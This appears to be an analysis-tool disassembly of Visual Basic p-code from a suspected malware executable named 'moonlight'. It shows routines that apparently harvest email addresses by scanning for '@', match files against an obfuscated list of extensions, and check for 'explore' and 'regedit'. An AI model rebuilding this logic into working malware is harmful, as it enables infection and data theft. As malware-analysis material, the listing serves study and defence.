Similarity

File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe

Function:

00410a1c
00410a1c b8 00 00 00 ....
00410a20 00 00 09 00 00 00 00 10 c0 fb 49 30 a4 ee ff ff ..........I0....
00410a30 08 68 40 00 94 ee ac 0f 8c ee ac 0f 84 ee ac 0f .h@.............
00410a40 7c ee ac 0f 74 fa 49 30 6c ee ff ff 08 68 40 00 |...t.I0l....h@.
00410a50 5c ee ac 0f 7c 85 ac 0f 50 ee ac 0f 74 85 ac 0f \...|...P...t...
00410a60 34 f9 49 30 40 ee ff ff 08 68 40 00 38 ee ac 0f 4.I0@....h@.8...
00410a70 30 ee ac 0f 28 ee ac 0f 20 ee ac 0f e4 f7 49 30 0...(... .....I0
00410a80 10 ee ff ff 08 68 40 00 00 ee ac 0f f8 ed ac 0f .....h@.........
00410a90 f0 ed ac 0f e8 ed ac 0f 20 fd 01 20 d8 ed ff ff ........ .. ....
00410aa0 24 fd 01 20 d0 ed ff ff 0c fd 01 20 c2 ed ff ff $.. ....... ....
00410ab0 d4 f7 02 20 64 85 ff ff 2c fd 49 20 a8 ed ff ff ... d...,.I ....
00410ac0 08 68 40 00 5c 85 ac 0f 9c ed ac 0f 94 ed ac 0f .h@.\...........
00410ad0 8c ed ac 0f 24 00 00 00 00 00 06 00 00 00 00 00 ....$...........
00410ae0 00 fd 01 00 b8 fb 01 00 b4 fb 01 00 30 f9 01 00 ............0...
00410af0 2c f9 01 00 28 f9 01 00 ,...(...

00410af8
00410af8fn_410af8:
00410af8LargeBos 2
00410afaLargeBos 5
00410afcOnErrorGoto 65535
00410affLargeBos 24
00410b01ILdDarg 12
00410b05FMemLdPr arg_8, 16
00410b0aLateMemCallLdVar 65228, 25, 1
00410b12FLdRfVar var_94
00410b15SetVarVarFunc
00410b17LargeBos 30
00410b19LitVarI2 65212, 1
00410b1ePopAdLdVar
00410b1fLitVarI2 65180, 0
00410b24PopAdLdVar
00410b25FLdRfVar var_94
00410b28VarLateMemCallLdVar 65228, 26, 2
00410b30FLdRfVar var_A4
00410b33SetVarVarFunc
00410b35LargeBos 15
00410b37FLdRfVar var_A4
00410b3aVarLateMemLdVar 65228, 27
00410b40FStVar 65356
00410b44LargeBos 9
00410b46FLdRfVar var_B4
00410b49FStVarCopy 65244
00410b4dLargeBos 20
00410b4fLitVar_Missing var_134
00410b52ImpAdCallI2 rtcFreeFile, 4
00410b57CVarI2 65196
00410b5aFStVar 65148
00410b5eFFree1Var var_134
00410b61LargeBos 9
00410b63FLdRfVar var_B4
00410b66FStVarCopy 65244
00410b6aLargeBos 38
00410b6cLitI4 1
00410b71FLdRfVar var_B4
00410b74LitVarStr var_144, "@"
00410b79LitI4 1
00410b7eFnInStr4Var 65228
00410b82LitVarI2 65196, 0
00410b87HardType
00410b88EqVarBool
00410b8aFFree1Var var_134
00410b8dBranchF 0x410ba3
00410b90LargeBos 13
00410b92FLdRfVar var_A4
00410b95LdPrVar
00410b97LateMemCall 30, 0
00410b9dLargeBos 3
00410b9fExitProc
00410ba0Branch 0x410bb2
00410ba3
00410ba3loc_410ba3:
00410ba3LargeBos 2
00410ba5LargeBos 13
00410ba7FLdRfVar var_A4
00410baaLdPrVar
00410bacLateMemCall 30, 0
00410bb2
00410bb2loc_410bb2:
00410bb2LargeBos 2
00410bb4LargeBos 24
00410bb6ILdDarg 12
00410bbaFMemLdPr arg_8, 16
00410bbfLateMemCallLdVar 65228, 25, 1
00410bc7FLdRfVar var_94
00410bcaSetVarVarFunc
00410bccLargeBos 30
00410bceLitVarI2 65212, 1
00410bd3PopAdLdVar
00410bd4LitVarI2 65180, 0
00410bd9PopAdLdVar
00410bdaFLdRfVar var_94
00410bddVarLateMemCallLdVar 65228, 26, 2
00410be5FLdRfVar var_A4
00410be8SetVarVarFunc
00410beaLargeBos 11
00410becLitVarI2 65212, 1
00410bf1FStVar 65340
00410bf5LargeBos 11
00410bf7LitVarI2 65212, 0
00410bfcFStVar 65116
00410c00LargeBos 2
00410c02
00410c02loc_410c02:
00410c02LargeBos 7
00410c04ImpAdCallFPR4 rtcDoEvents, 0
00410c09LargeBos 7
00410c0bImpAdCallFPR4 rtcDoEvents, 0
00410c10LargeBos 15
00410c12FLdRfVar var_A4
00410c15VarLateMemLdVar 65228, 32
00410c1bFStVar 65356
00410c1fLargeBos 13
00410c21FLdRfVar var_B4
00410c24FLdRfVar var_114
00410c27EqVarBool
00410c29BranchF 0x410ca1
00410c2cLargeBos 52
00410c2eLitI4 1
00410c33FLdRfVar var_124
00410c36FLdRfVar var_134
00410c39ImpAdCallFPR4 rtcRightCharVar, 12
00410c3eFLdRfVar var_134
00410c41LitI4 1
00410c46FLdRfVar var_114
00410c49FLdRfVar var_194
00410c4cImpAdCallFPR4 rtcRightCharVar, 12
00410c51FLdRfVar var_194
00410c54EqVarBool
00410c56FFreeVar var_134, var_194
00410c5dBranchF 0x410c68
00410c60LargeBos 5
00410c62Branch 0x410f46
00410c65Branch 0x410c9f
00410c68
00410c68loc_410c68:
00410c68LargeBos 16
00410c6aFLdRfVar var_1A4
00410c6dLitVarI2 65212, 10
00410c72HardType
00410c73EqVarBool
00410c75BranchF 0x410c8b
00410c78LargeBos 11
00410c7aLitVarI2 65212, 0
00410c7fFStVar 65116
00410c83LargeBos 5
00410c85Branch 0x410f46
00410c88Branch 0x410c9f
00410c8b
00410c8bloc_410c8b:
00410c8bLargeBos 2
00410c8dLargeBos 18
00410c8fFLdRfVar var_1A4
00410c92LitVarI2 65212, 1
00410c97AddVar 65228
00410c9bFStVar 65116
00410c9f
00410c9floc_410c9f:
00410c9fLargeBos 2
00410ca1
00410ca1loc_410ca1:
00410ca1LargeBos 2
00410ca3LargeBos 9
00410ca5FLdRfVar var_B4
00410ca8FStVarCopy 65260
00410cacLargeBos 40
00410caeFLdRfVar var_C4
00410cb1LitVarI2 65212, 1
00410cb6AddVar 65228
00410cbaCI4Var
00410cbcFLdRfVar var_B4
00410cbfLitVarStr var_154, "@"
00410cc4LitI4 1
00410cc9FnInStr4Var 65132
00410ccdFStVar 65340
00410cd1FFree1Var var_134
00410cd4LargeBos 16
00410cd6FLdRfVar var_C4
00410cd9LitVarI2 65212, 0
00410cdeHardType
00410cdfNeVarBool
00410ce1BranchF 0x410f38
00410ce4LargeBos 9
00410ce6FLdRfVar var_C4
00410ce9FStVarCopy 65324
00410cedLargeBos 2
00410cef
00410cefloc_410cef:
00410cefLargeBos 7
00410cf1ImpAdCallFPR4 rtcDoEvents, 0
00410cf6LargeBos 7
00410cf8ImpAdCallFPR4 rtcDoEvents, 0
00410cfdLargeBos 18
00410cffFLdRfVar var_D4
00410d02LitVarI2 65212, 1
00410d07SubVar 65228
00410d0bFStVar 65324
00410d0fLargeBos 33
00410d11LitVarI2 65228, 1
00410d16FLdRfVar var_D4
00410d19CI4Var
00410d1bFLdRfVar var_B4
00410d1eFLdRfVar var_194
00410d21ImpAdCallFPR4 rtcMidCharVar, 16
00410d26FLdRfVar var_194
00410d29FStVar 65292
00410d2dFFree1Var var_134
00410d30LargeBos 55
00410d32FLdRfVar var_F4
00410d35LitVarStr var_144, " "
00410d3aHardType
00410d3bEqVar 65228
00410d3fFLdRfVar var_D4
00410d42LitVarI2 65196, 1
00410d47HardType
00410d48EqVar 65132
00410d4cOrVar 65100
00410d50FLdRfVar var_F4
00410d53LitVarStr var_164, ""
00410d58HardType
00410d59EqVar 65084
00410d5dOrVar 65068
00410d61CBoolVarNull
00410d63NotI4
00410d64BranchT 0x410cef
00410d67LargeBos 37
00410d69FLdRfVar var_F4
00410d6cLitVarStr var_144, ""
00410d71HardType
00410d72NeVar 65228
00410d76FLdRfVar var_F4
00410d79LitVarStr var_154, " "
00410d7eHardType
00410d7fEqVar 65132
00410d83OrVar 65100
00410d87CBoolVarNull
00410d89BranchF 0x410da0
00410d8cLargeBos 9
00410d8eFLdRfVar var_C4
00410d91FStVarCopy 65308
00410d95LargeBos 11
00410d97LitVarStr var_144, ""
00410d9cFStVarCopy 65292
00410da0
00410da0loc_410da0:
00410da0LargeBos 2
00410da2LargeBos 2
00410da4
00410da4loc_410da4:
00410da4LargeBos 7
00410da6ImpAdCallFPR4 rtcDoEvents, 0
00410dabLargeBos 7
00410dadImpAdCallFPR4 rtcDoEvents, 0
00410db2LargeBos 18
00410db4FLdRfVar var_E4
00410db7LitVarI2 65212, 1
00410dbcAddVar 65228
00410dc0FStVar 65308
00410dc4LargeBos 33
00410dc6LitVarI2 65228, 1
00410dcbFLdRfVar var_E4
00410dceCI4Var
00410dd0FLdRfVar var_B4
00410dd3FLdRfVar var_194
00410dd6ImpAdCallFPR4 rtcMidCharVar, 16
00410ddbFLdRfVar var_194
00410ddeFStVar 65292
00410de2FFree1Var var_134
00410de5LargeBos 38
00410de7FLdRfVar var_F4
00410deaLitVarStr var_144, " "
00410defHardType
00410df0EqVar 65228
00410df4FLdRfVar var_F4
00410df7LitVarStr var_154, ""
00410dfcHardType
00410dfdEqVar 65132
00410e01OrVar 65100
00410e05CBoolVarNull
00410e07NotI4
00410e08BranchT 0x410da4
00410e0bLargeBos 60
00410e0dFLdRfVar var_E4
00410e10LitVarI2 65196, 1
00410e15SubVar 65132
00410e19FStVar 65100
00410e1dFLdRfVar var_1B4
00410e20FLdRfVar var_D4
00410e23LitVarI2 65212, 1
00410e28AddVar 65228
00410e2cCI4Var
00410e2eFLdRfVar var_B4
00410e31FLdRfVar var_1C4
00410e34ImpAdCallFPR4 rtcMidCharVar, 16
00410e39FLdRfVar var_1C4
00410e3cFStVar 65052
00410e40FFreeVar var_134, var_1B4
00410e47LargeBos 28
00410e49LitI4 1
00410e4eFLdRfVar var_1E4
00410e51LitVarStr var_144, "@"
00410e56LitI4 1
00410e5bFnInStr4Var 65228
00410e5fFStVar 65032
00410e63LargeBos 46
00410e65FLdRfVar var_1E4
00410e68FnLenVar 65228
00410e6cFStVar 65132
00410e70FLdRfVar var_194
00410e73FLdRfVar var_1F8
00410e76CI4Var
00410e78FLdRfVar var_1E4
00410e7bFLdRfVar var_1B4
00410e7eImpAdCallFPR4 rtcMidCharVar, 16
00410e83FLdRfVar var_1B4
00410e86CStrVarTmp
00410e87FStStr var_1E8
00410e8aFFreeVar var_194, var_1B4
00410e91LargeBos 25
00410e93FLdRfVar var_1E4
00410e96CStrVar
00410e98PopTmpLdAdStr 65028
00410e9cFLdRfVar var_134
00410e9fImpAdCallFPR4 pool#36, 8
00410ea4FFree1Str var_1FC
00410ea7FFree1Var var_134
00410eaaLargeBos 19
00410eacILdRf var_1E8
00410eafFStStrCopy var_1FC
00410eb2FLdRfVar var_1FC
00410eb5ImpAdCallFPR4 pool#37, 4
00410ebaFFree1Str var_1FC
00410ebdLargeBos 20
00410ebfFLdRfVar var_1E4
00410ec2FnLenVar 65228
00410ec6LitVarI2 65212, 6
00410ecbHardType
00410eccGtVarBool
00410eceBranchF 0x410f25
00410ed1LargeBos 35
00410ed3ImpAdLdI2 pool#38
00410ed6LitI2_Byte -1
00410ed8EqI2
00410ed9CVarBoolI2 65196
00410eddImpAdLdRf pool#39
00410ee0LitVar_TRUE 65212
00410ee3HardType
00410ee4EqVar 65228
00410ee8OrVar 65132
00410eecCBoolVarNull
00410eeeFFree1Var var_154
00410ef1BranchF 0x410f0d
00410ef4LargeBos 7
00410ef6LitI2_Byte 0
00410ef8ImpAdStI2 pool#38
00410efbLargeBos 10
00410efdLitVar_FALSE 65212
00410f01ImpAdStVar pool#39
00410f05LargeBos 5
00410f07Branch 0x410f3a
00410f0aBranch 0x410f20
00410f0d
00410f0dloc_410f0d:
00410f0dLargeBos 2
00410f0fLargeBos 10
00410f11LitVar_FALSE 65212
00410f15ImpAdStVar pool#39
00410f19LargeBos 7
00410f1bLitI2_Byte 0
00410f1dImpAdStI2 pool#38
00410f20
00410f20loc_410f20:
00410f20LargeBos 2
00410f22Branch 0x410f2c
00410f25
00410f25loc_410f25:
00410f25LargeBos 2
00410f27LargeBos 5
00410f29Branch 0x410f3a
00410f2c
00410f2cloc_410f2c:
00410f2cLargeBos 2
00410f2eLargeBos 10
00410f30FLdRfVar var_1E4
00410f33ImpAdCallFPR4 pool#40, 4
00410f38
00410f38loc_410f38:
00410f38LargeBos 2
00410f3a
00410f3aloc_410f3a:
00410f3aLargeBos 7
00410f3cImpAdCallFPR4 rtcDoEvents, 0
00410f41LargeBos 5
00410f43Branch 0x410c02
00410f46
00410f46loc_410f46:
00410f46LargeBos 13
00410f48FLdRfVar var_A4
00410f4bLdPrVar
00410f4dLateMemCall 30, 0
00410f53LargeBos 0
00410f55ExitProc
00410af8

00410f56
00410f56 struct PCodePad
00410f56 01 00 ..
00410f58
00410f58 struct ProcDscInfo
00410f58 lpObjectInfo uint32 0x4041b8
00410f5c wArgSize int 8
00410f5e wFrameSize int 376
00410f60 wPCodeBackOffset uint16 0x410af8
00410f62 wTotalSize uint16 0x0060
00410f64 wProcOptFlags uint16 0x0000
00410f66 wReserved uint16 0x0000
00410f68 wBosSkipTableOff uint16 0x0000
00410f6a wBaseIfaceSlot uint16 0x0013
00410f6c wReserved2 uint16 0x0000
00410f6e wReserved3 uint16 0x0000
00410f70
00410f70 48 00 00 00 00 00 0f 00 00 00 00 00 18 fe 01 00 H...............
00410f80 5c fe 02 00 ec fe 02 00 08 fe 02 00 3c ff 02 00 \...........<...
00410f90 dc fe 02 00 1c ff 02 00 6c ff 02 00 0c ff 02 00 ........l.......
00410fa0 2c ff 02 00 1c fe 02 00 fc fe 02 00 7c fe 02 00 ,...........|...
00410fb0 4c ff 02 00 5c ff 02 00 24 00 00 00 00 00 06 00 L...\...$.......
00410fc0 00 00 00 00 04 fe 01 00 cc fe 02 00 6c fe 02 00 ............l...
00410fd0 4c fe 02 00 3c fe 02 00 2c fe 02 00 L...<...,...

00410fdc
00410fdcfn_410fdc:
00410fdcLargeBos 2
00410fdeLargeBos 5
00410fe0OnErrorGoto 65535
00410fe3LargeBos 104
00410fe5LitI4 3
00410feaILdRf arg_C
00410fedCVarRef 65388, 16392
00410ff2FLdRfVar var_A4
00410ff5ImpAdCallFPR4 rtcRightCharVar, 12
00410ffaFLdRfVar var_A4
00410ffdFLdRfVar var_B4
00411000ImpAdCallFPR4 rtcUpperCaseVar, 8
00411005FLdRfVar var_B4
00411008FStVar 65340
0041100cFFree1Var var_A4
0041100fLargeBos 39
00411011FLdRfVar var_C4
00411014LitVarStr var_94, "zip"
00411019FStVarCopyObj var_A4
0041101cFLdRfVar var_A4
0041101fFLdRfVar var_B4
00411022ImpAdCallFPR4 rtcUpperCaseVar, 8
00411027FLdRfVar var_B4
0041102aEqVarBool
0041102cFFreeVar var_A4, var_B4
00411033BranchF 0x41104b
00411036LargeBos 21
00411038LitI2_Byte 0
0041103aPopTmpLdAd2 65338
0041103dILdRf arg_C
00411040FLdRfVar var_A4
00411043ImpAdCallFPR4 pool#52, 12
00411048FFree1Var var_A4
0041104b
0041104bloc_41104b:
0041104bLargeBos 2
0041104dLargeBos 11
0041104fILdI2 arg_10
00411052LitI2_Byte -1
00411054EqI2
00411055BranchF 0x411407
00411058SelectCaseByte 0
0041105aLitI4 3
0041105fILdRf arg_C
00411062CVarRef 65388, 16392
00411067FLdRfVar var_A4
0041106aImpAdCallFPR4 rtcRightCharVar, 12
0041106fFLdRfVar var_A4
00411072FLdRfVar var_B4
00411075ImpAdCallFPR4 rtcUpperCaseVar, 8
0041107aFLdRfVar var_B4
0041107dLitVarStr var_D8, "}q}"
00411082FStVarCopyObj var_E8
00411085FLdRfVar var_E8
00411088ImpAdCallI2 pool#54, 4
0041108dCVarStr var_F8
00411090FLdRfVar var_108
00411093ImpAdCallFPR4 rtcUpperCaseVar, 8
00411098FLdRfVar var_108
0041109bEqVar 65256
0041109fLitI4 3
004110a4ILdRf arg_C
004110a7CVarRef 65240, 16392
004110acFLdRfVar var_138
004110afImpAdCallFPR4 rtcRightCharVar, 12
004110b4FLdRfVar var_138
004110b7FLdRfVar var_148
004110baImpAdCallFPR4 rtcUpperCaseVar, 8
004110bfFLdRfVar var_148
004110c2LitVarStr var_158, "}de"
004110c7FStVarCopyObj var_168
004110caFLdRfVar var_168
004110cdImpAdCallI2 pool#54, 4
004110d2CVarStr var_178
004110d5FLdRfVar var_188
004110d8ImpAdCallFPR4 rtcUpperCaseVar, 8
004110ddFLdRfVar var_188
004110e0EqVar 65128
004110e4OrVar 65112
004110e8LitI4 3
004110edILdRf arg_C
004110f0CVarRef 65096, 16392
004110f5FLdRfVar var_1C8
004110f8ImpAdCallFPR4 rtcRightCharVar, 12
004110fdFLdRfVar var_1C8
00411100FLdRfVar var_1D8
00411103ImpAdCallFPR4 rtcUpperCaseVar, 8
00411108FLdRfVar var_1D8
0041110bLitVarStr var_1E8, "hzy"
00411110FStVarCopyObj var_1F8
00411113FLdRfVar var_1F8
00411116ImpAdCallI2 pool#54, 4
0041111bCVarStr var_208
0041111eFLdRfVar var_218
00411121ImpAdCallFPR4 rtcUpperCaseVar, 8
00411126FLdRfVar var_218
00411129EqVar 64984
0041112dOrVar 64968
00411131LitI4 3
00411136ILdRf arg_C
00411139CVarRef 64952, 16392
0041113eFLdRfVar var_258
00411141ImpAdCallFPR4 rtcRightCharVar, 12
00411146FLdRfVar var_258
00411149FLdRfVar var_268
0041114cImpAdCallFPR4 rtcUpperCaseVar, 8
00411151FLdRfVar var_268
00411154LitVarStr var_278, "yay"
00411159FStVarCopyObj var_288
0041115cFLdRfVar var_288
0041115fImpAdCallI2 pool#54, 4
00411164CVarStr var_298
00411167FLdRfVar var_2A8
0041116aImpAdCallFPR4 rtcUpperCaseVar, 8
0041116fFLdRfVar var_2A8
00411172EqVar 64840
00411176OrVar 64824
0041117aLitI4 3
0041117fILdRf arg_C
00411182CVarRef 64808, 16392
00411187FLdRfVar var_2E8
0041118aImpAdCallFPR4 rtcRightCharVar, 12
0041118fFLdRfVar var_2E8
00411192FLdRfVar var_2F8
00411195ImpAdCallFPR4 rtcUpperCaseVar, 8
0041119aFLdRfVar var_2F8
0041119dLitVarStr var_308, "a}d"
004111a2FStVarCopyObj var_318
004111a5FLdRfVar var_318
004111a8ImpAdCallI2 pool#54, 4
004111adCVarStr var_328
004111b0FLdRfVar var_338
004111b3ImpAdCallFPR4 rtcUpperCaseVar, 8
004111b8FLdRfVar var_338
004111bbEqVar 64696
004111bfOrVar 64680
004111c3LitI4 3
004111c8ILdRf arg_C
004111cbCVarRef 64664, 16392
004111d0FLdRfVar var_378
004111d3ImpAdCallFPR4 rtcRightCharVar, 12
004111d8FLdRfVar var_378
004111dbFLdRfVar var_388
004111deImpAdCallFPR4 rtcUpperCaseVar, 8
004111e3FLdRfVar var_388
004111e6LitVarStr var_398, "{}o"
004111ebFStVarCopyObj var_3A8
004111eeFLdRfVar var_3A8
004111f1ImpAdCallI2 pool#54, 4
004111f6CVarStr var_3B8
004111f9FLdRfVar var_3C8
004111fcImpAdCallFPR4 rtcUpperCaseVar, 8
00411201FLdRfVar var_3C8
00411204EqVar 64552
00411208OrVar 64536
0041120cLitI4 3
00411211ILdRf arg_C
00411214CVarRef 64520, 16392
00411219FLdRfVar var_408
0041121cImpAdCallFPR4 rtcRightCharVar, 12
00411221FLdRfVar var_408
00411224FLdRfVar var_418
00411227ImpAdCallFPR4 rtcUpperCaseVar, 8
0041122cFLdRfVar var_418
0041122fLitVarStr var_428, "lde"
00411234FStVarCopyObj var_438
00411237FLdRfVar var_438
0041123aImpAdCallI2 pool#54, 4
0041123fCVarStr var_448
00411242FLdRfVar var_458
00411245ImpAdCallFPR4 rtcUpperCaseVar, 8
0041124aFLdRfVar var_458
0041124dEqVar 64408
00411251OrVar 64392
00411255LitI4 3
0041125aILdRf arg_C
0041125dCVarRef 64376, 16392
00411262FLdRfVar var_498
00411265ImpAdCallFPR4 rtcRightCharVar, 12
0041126aFLdRfVar var_498
0041126dFLdRfVar var_4A8
00411270ImpAdCallFPR4 rtcUpperCaseVar, 8
00411275FLdRfVar var_4A8
00411278LitVarStr var_4B8, "'ye"
0041127dFStVarCopyObj var_4C8
00411280FLdRfVar var_4C8
00411283ImpAdCallI2 pool#54, 4
00411288CVarStr var_4D8
0041128bFLdRfVar var_4E8
0041128eImpAdCallFPR4 rtcUpperCaseVar, 8
00411293FLdRfVar var_4E8
00411296EqVar 64264
0041129aOrVar 64248
0041129eLitI4 3
004112a3ILdRf arg_C
004112a6CVarRef 64232, 16392
004112abFLdRfVar var_528
004112aeImpAdCallFPR4 rtcRightCharVar, 12
004112b3FLdRfVar var_528
004112b6FLdRfVar var_538
004112b9ImpAdCallFPR4 rtcUpperCaseVar, 8
004112beFLdRfVar var_538
004112c1LitVarStr var_548, "zyq"
004112c6FStVarCopyObj var_558
004112c9FLdRfVar var_558
004112ccImpAdCallI2 pool#54, 4
004112d1CVarStr var_568
004112d4FLdRfVar var_578
004112d7ImpAdCallFPR4 rtcUpperCaseVar, 8
004112dcFLdRfVar var_578
004112dfEqVar 64120
004112e3OrVar 64104
004112e7LitI4 3
004112ecILdRf arg_C
004112efCVarRef 64088, 16392
004112f4FLdRfVar var_5B8
004112f7ImpAdCallFPR4 rtcRightCharVar, 12
004112fcFLdRfVar var_5B8
004112ffFLdRfVar var_5C8
00411302ImpAdCallFPR4 rtcUpperCaseVar, 8
00411307FLdRfVar var_5C8
0041130aLitVarStr var_5D8, "hzy"
0041130fFStVarCopyObj var_5E8
00411312FLdRfVar var_5E8
00411315ImpAdCallI2 pool#54, 4
0041131aCVarStr var_5F8
0041131dFLdRfVar var_608
00411320ImpAdCallFPR4 rtcUpperCaseVar, 8
00411325FLdRfVar var_608
00411328EqVar 63976
0041132cOrVar 63960
00411330LitI4 3
00411335ILdRf arg_C
00411338CVarRef 63944, 16392
0041133dFLdRfVar var_648
00411340ImpAdCallFPR4 rtcRightCharVar, 12
00411345FLdRfVar var_648
00411348FLdRfVar var_658
0041134bImpAdCallFPR4 rtcUpperCaseVar, 8
00411350FLdRfVar var_658
00411353LitVarStr var_668, "'cz"
00411358FStVarCopyObj var_678
0041135bFLdRfVar var_678
0041135eImpAdCallI2 pool#54, 4
00411363CVarStr var_688
00411366FLdRfVar var_698
00411369ImpAdCallFPR4 rtcUpperCaseVar, 8
0041136eFLdRfVar var_698
00411371EqVar 63832
00411375OrVar 63816
00411379CBoolVarNull
0041137bFFreeVar var_408, var_438, var_448, var_418, var_458, var_498, var_4C8, var_4D8, var_4A8, var_4E8, var_528, var_558, var_568, var_538, var_578, var_5B8, var_5E8, var_5F8, var_5C8, var_608, var_648, var_678, var_688, var_658, var_698, var_A4, var_E8, var_F8, var_B4, var_108, var_138, var_168, var_178, var_148, var_188, var_1C8, var_1F8, var_208, var_1D8, var_218, var_258, var_288, var_298, var_268, var_2A8, var_2E8, var_318, var_328, var_2F8, var_338, var_378, var_3A8, var_3B8, var_388, var_3C8
004113ecBranchF 0x411405
004113efLargeBos 22
004113f1ILdI4 arg_C
004113f4CVarStr var_94
004113f7FStVarCopyObj var_A4
004113faFLdRfVar var_A4
004113fdImpAdCallFPR4 pool#64, 4
00411402FFree1Var var_A4
00411405
00411405loc_411405:
00411405LargeBos 2
00411407
00411407loc_411407:
00411407LargeBos 2
00411409LargeBos 0
0041140bExitProc
00410fdc

0041140c
0041140c struct ProcDscInfo
0041140c lpObjectInfo uint32 0x4041b8
00411410 wArgSize int 12
00411412 wFrameSize int 1588
00411414 wPCodeBackOffset uint16 0x410fdc
00411416 wTotalSize uint16 0x0028
00411418 wProcOptFlags uint16 0x0000
0041141a wReserved uint16 0x0000
0041141c wBosSkipTableOff uint16 0x0164
0041141e wBaseIfaceSlot uint16 0x0013
00411420 wReserved2 uint16 0x0000
00411422 wReserved3 uint16 0x0000
00411424
00411424 10 00 00 00 00 00 01 00 00 00 00 00 ............
00411430 3c ff 02 00 3c 01 00 00 00 00 4c 00 00 00 00 00 <...<.....L.....
00411440 5c ff 02 00 4c ff 02 00 18 ff 02 00 08 ff 02 00 \...L...........
00411450 f8 fe 02 00 e8 fe 02 00 c8 fe 02 00 b8 fe 02 00 ................
00411460 98 fe 02 00 88 fe 02 00 78 fe 02 00 68 fe 02 00 ........x...h...
00411470 58 fe 02 00 38 fe 02 00 28 fe 02 00 08 fe 02 00 X...8...(.......
00411480 f8 fd 02 00 e8 fd 02 00 d8 fd 02 00 c8 fd 02 00 ................
00411490 a8 fd 02 00 98 fd 02 00 78 fd 02 00 68 fd 02 00 ........x...h...
004114a0 58 fd 02 00 48 fd 02 00 38 fd 02 00 18 fd 02 00 X...H...8.......
004114b0 08 fd 02 00 e8 fc 02 00 d8 fc 02 00 c8 fc 02 00 ................
004114c0 b8 fc 02 00 a8 fc 02 00 88 fc 02 00 78 fc 02 00 ............x...
004114d0 58 fc 02 00 48 fc 02 00 38 fc 02 00 28 fc 02 00 X...H...8...(...
004114e0 18 fc 02 00 f8 fb 02 00 e8 fb 02 00 c8 fb 02 00 ................
004114f0 b8 fb 02 00 a8 fb 02 00 98 fb 02 00 88 fb 02 00 ................
00411500 68 fb 02 00 58 fb 02 00 38 fb 02 00 28 fb 02 00 h...X...8...(...
00411510 18 fb 02 00 08 fb 02 00 f8 fa 02 00 d8 fa 02 00 ................
00411520 c8 fa 02 00 a8 fa 02 00 98 fa 02 00 88 fa 02 00 ................
00411530 78 fa 02 00 68 fa 02 00 48 fa 02 00 38 fa 02 00 x...h...H...8...
00411540 18 fa 02 00 08 fa 02 00 f8 f9 02 00 e8 f9 02 00 ................
00411550 d8 f9 02 00 b8 f9 02 00 a8 f9 02 00 88 f9 02 00 ................
00411560 78 f9 02 00 68 f9 02 00 58 f9 02 00 48 f9 02 00 x...h...X...H...
00411570 01 00 97 03 ....

00411574
00411574FrmMain.Form#6:
00411574FLdRfVar var_88
00411577ImpAdLdRf pool#0
0041157aNewIfNullPr 1
0041157dVCallHresult 88, 2
00411582FLdRfVar var_90
00411585FLdRfVar var_8C
00411588ImpAdLdRf pool#3
0041158bNewIfNullPr 4
0041158eVCallHresult 20, 5
00411593FLdPr var_8C
00411596VCallHresult 80, 6
0041159bFLdRfVar var_98
0041159eFLdRfVar var_94
004115a1ImpAdLdRf pool#3
004115a4NewIfNullPr 4
004115a7VCallHresult 20, 5
004115acFLdPr var_94
004115afVCallHresult 88, 6
004115b4LitI4 1
004115b9LitStr ""
004115bcFLdRfVar var_AC
004115bfCStr2Ansi
004115c0ILdRf var_AC
004115c3LitStr ""
004115c6FLdRfVar var_A8
004115c9CStr2Ansi
004115caILdRf var_A8
004115cdILdRf var_90
004115d0ILdRf var_98
004115d3ConcatStr
004115d4FStStrNoPop var_A0
004115d7FLdRfVar var_A4
004115daCStr2Ansi
004115dbILdRf var_A4
004115deLitStr "explore"
004115e1FLdRfVar var_9C
004115e4CStr2Ansi
004115e5ILdRf var_9C
004115e8ILdRf var_88
004115ebImpAdCallFPR4 fn_405f28, 24
004115f0SetLastSystemError
004115f1FFreeStr var_90, var_98, var_9C, var_A0, var_A4, var_A8, var_AC
00411602FFreeAd var_8C, var_94
00411609FLdRfVar var_AE
0041160cFLdRfVar var_8C
0041160fImpAdLdRf pool#3
00411612NewIfNullPr 4
00411615VCallHresult 20, 5
0041161aFLdPr var_8C
0041161dVCallHresult 104, 6
00411622FLdI2 var_AE
00411625FFree1Ad var_8C
00411628BranchF 0x41162d
0041162bEnd
0041162d
0041162dloc_41162d:
0041162dLitI4 255
00411632FLdPr arg_8
00411635MemLdStr arg_34
00411638FLdRfVar var_90
0041163bCStr2Ansi
0041163cILdRf var_90
0041163fImpAdCallI2 fn_405f98, 8
00411644FStR4 65400
00411647SetLastSystemError
00411648ILdRf var_90
0041164bFLdRfVar var_98
0041164eCStr2Uni
00411650ILdRf var_98
00411653FLdPr arg_8
00411656MemLdStr arg_34
00411659StFixedStr 0
0041165cILdRf var_88
0041165fFLdPr arg_8
00411662MemLdStr arg_34
00411665FStStrCopy var_9C
00411668FLdRfVar var_9C
0041166bCVarRef 65344, 16392
00411670FLdRfVar var_D0
00411673ImpAdCallFPR4 rtcLeftCharVar, 12
00411678ILdRf var_9C
0041167bFLdPr arg_8
0041167eMemLdStr arg_34
00411681StFixedStr 0
00411684FLdRfVar var_D0
00411687ImpAdStVar pool#12
0041168bFFreeStr var_90, var_98, var_9C
00411694LitI4 255
00411699FLdPr arg_8
0041169cMemLdStr arg_34
0041169fFLdRfVar var_90
004116a2CStr2Ansi
004116a3ILdRf var_90
004116a6ImpAdCallI2 fn_405fe4, 8
004116abFStR4 65400
004116aeSetLastSystemError
004116afILdRf var_90
004116b2FLdRfVar var_98
004116b5CStr2Uni
004116b7ILdRf var_98
004116baFLdPr arg_8
004116bdMemLdStr arg_34
004116c0StFixedStr 0
004116c3ILdRf var_88
004116c6FLdPr arg_8
004116c9MemLdStr arg_34
004116ccFStStrCopy var_9C
004116cfFLdRfVar var_9C
004116d2CVarRef 65344, 16392
004116d7FLdRfVar var_D0
004116daImpAdCallFPR4 rtcLeftCharVar, 12
004116dfILdRf var_9C
004116e2FLdPr arg_8
004116e5MemLdStr arg_34
004116e8StFixedStr 0
004116ebFLdRfVar var_D0
004116eeCStrVarTmp
004116efImpAdStStr pool#14
004116f3FFreeStr var_90, var_98, var_9C
004116fcFFree1Var var_D0
004116ffFLdRfVar var_90
00411702FLdRfVar var_8C
00411705ImpAdLdRf pool#3
00411708NewIfNullPr 4
0041170bVCallHresult 20, 5
00411710FLdPr var_8C
00411713VCallHresult 88, 6
00411718FLdZeroAd var_90
0041171bCVarStr var_D0
0041171eFLdRfVar var_E0
00411721ImpAdCallFPR4 rtcUpperCaseVar, 8
00411726FLdRfVar var_E0
00411729LitVarStr var_C0, "regedit"
